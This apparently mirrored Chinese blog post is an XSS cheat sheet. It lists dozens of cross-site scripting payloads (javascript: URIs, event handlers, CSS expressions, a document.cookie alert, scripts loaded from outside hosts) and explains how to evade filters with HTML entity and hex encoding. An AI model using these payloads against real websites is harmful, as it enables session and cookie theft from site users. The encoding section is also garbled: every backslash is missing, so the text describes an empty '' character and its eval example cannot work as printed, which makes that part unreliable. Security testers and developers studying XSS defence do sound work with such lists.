zoukankan      html  css  js  c++  java
  • XSS测试用例与原理讲解

    1、<a href="javascript:alert(32)">DIBRG</a>
    2、<img href="javascript:alert(32)">
       在IE下可以,在FF下不可以
    3、<img src=" http://xss.jpg" onerror=alert('XSS')>
         IE,FF下均可
    4、<img STYLE="background-image: url(javascript:alert('XSS'))">
       在IE下可以,在FF下不可以
    5、<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

    <IMG SRC="javascript:alert('XSS');">
    <IMG SRC=javascript:alert('XSS')>
    <IMG SRC="javascript:alert(String.fromCharCode(88,83,83))">
    <IMG SRC="jav ascript:alert('XSS');">
    <SCRIPT/XSS SRC="http://example.com/xss.js"></SCRIPT>
    <<SCRIPT>alert("XSS");//<</SCRIPT>
    <iframe src=http://example.com/scriptlet.html <
    <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
    <BODY BACKGROUND="javascript:alert('XSS')">
    <BODY ONLOAD=alert(document.cookie)>
    <BODY onload!#$%&()*~+-_.,:;?@[/|"]^`=alert("XSS")>
    <IMG DYNSRC="javascript:alert('XSS')">
    <IMG DYNSRC="javascript:alert('XSS')">
    <BR SIZE="&{alert('XSS')}">
    <IMG SRC='vbscript:msgbox("XSS")'>
    <TABLE BACKGROUND="javascript:alert('XSS')">
    <DIV STYLE=" expression(alert('XSS'));">
    <DIV STYLE="background-image: url(javascript:alert('XSS'))">
    <STYLE TYPE="text/javascript">alert('XSS');</STYLE>
    <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
    <?='<SCRIPT>alert("XSS")</SCRIPT>'?>
    <A HREF="javascript:document.location='http://www.example.com/'">XSS</A>
    <IMG SRC=javascript:alert('XSS')>
    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
    a="get";
    b="URL(""";
    c="javascript:";
    d="alert('XSS');"")";
    eval(a+b+c+d);
    5、XSS转码
    有攻就有防,网站程序员肯定不会放任大家利用XSS,所以他们常会过滤类似javascript的关键字符,让大家构造不了自己的XSS,我这里就捡两个被忽略惯了的字符来说,它们是"&"和"".首先来说说"&"字符,玩过SQL注入的都知道,注入的语句可以转成16进制再赋给一个变量运行,XSS的转码和这个还真有异曲同工之妙,原因是我们的IE浏览器默认采用的是UNICODE编码,HTML编码可以用&#ASCII方式来写,这种XSS转码支持10进制和16进制,SQL注入转码是将16进制字符串赋给一个变量,而XSS转码则是针对属性所赋的值,下面我就拿<img src="javascript:alert('XSS');">示例:

        <img src="&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97

    &#108&#101&#114&#116&#40&#39&#88&#83&#83&#39&#41&#59"> //10进制转码

        <img src="&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70
    &#x74&#x3a&#x61&#x6c&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29&#x3b"> //16进制转码。

        这个&#分隔符还可以继续加0变成“&#0106” ,“&#00106” ,“&#000106” ,“&#0000106”等形式。

        而这个""字符却暴露了一个严重的XSS 0DAY漏洞,这个漏洞和CSS(Cascading Style Sheets)层叠样式表有很大的关联,下面我就来看看这个漏洞,先举个javascript的eval 函数的例子,官方是这样定义这个函数:

        eval(codeString),必选项 codestring 参数是包含有效 JScript 代码的字符串值。这个字符串将由 JScript 分析器进行分析和执行。

        我们的JavaScript中的""字符是转义字符,所以可以使用""连接16进制字符串运行代码

        <SCRIPT LANGUAGE="JavaScript">
    eval("x6ax61x76x61x73x63x72x69x70x74x3ax61x6cx65x72x74x28x22x58x53x53x22x29")
    </SCRIPT>

  • 相关阅读:
    容器跨主机网络通信学习笔记(以Flannel为例)
    Kubernetes控制器Job和CronJob
    记一次使用Flannel插件排错历程
    Kubernetes控制器Deployment
    Kubernetes如何通过StatefulSet支持有状态应用?
    react18 来了,我 get 到...
    gojs 实用高级用法
    vuecli3 vue2 保留 webpack 支持 vite 成功实践
    calibre 报错 This application failed to start because no Qt platform plugin could be initialized. Reinstalling the application may fix this problem. 解决
    unable to recognize "*.yaml": no matches for kind "RoleBinding" in version "rbac.authorization.k8s.io/v1beta1"
  • 原文地址:https://www.cnblogs.com/milantgh/p/3789362.html
Copyright © 2011-2022 走看看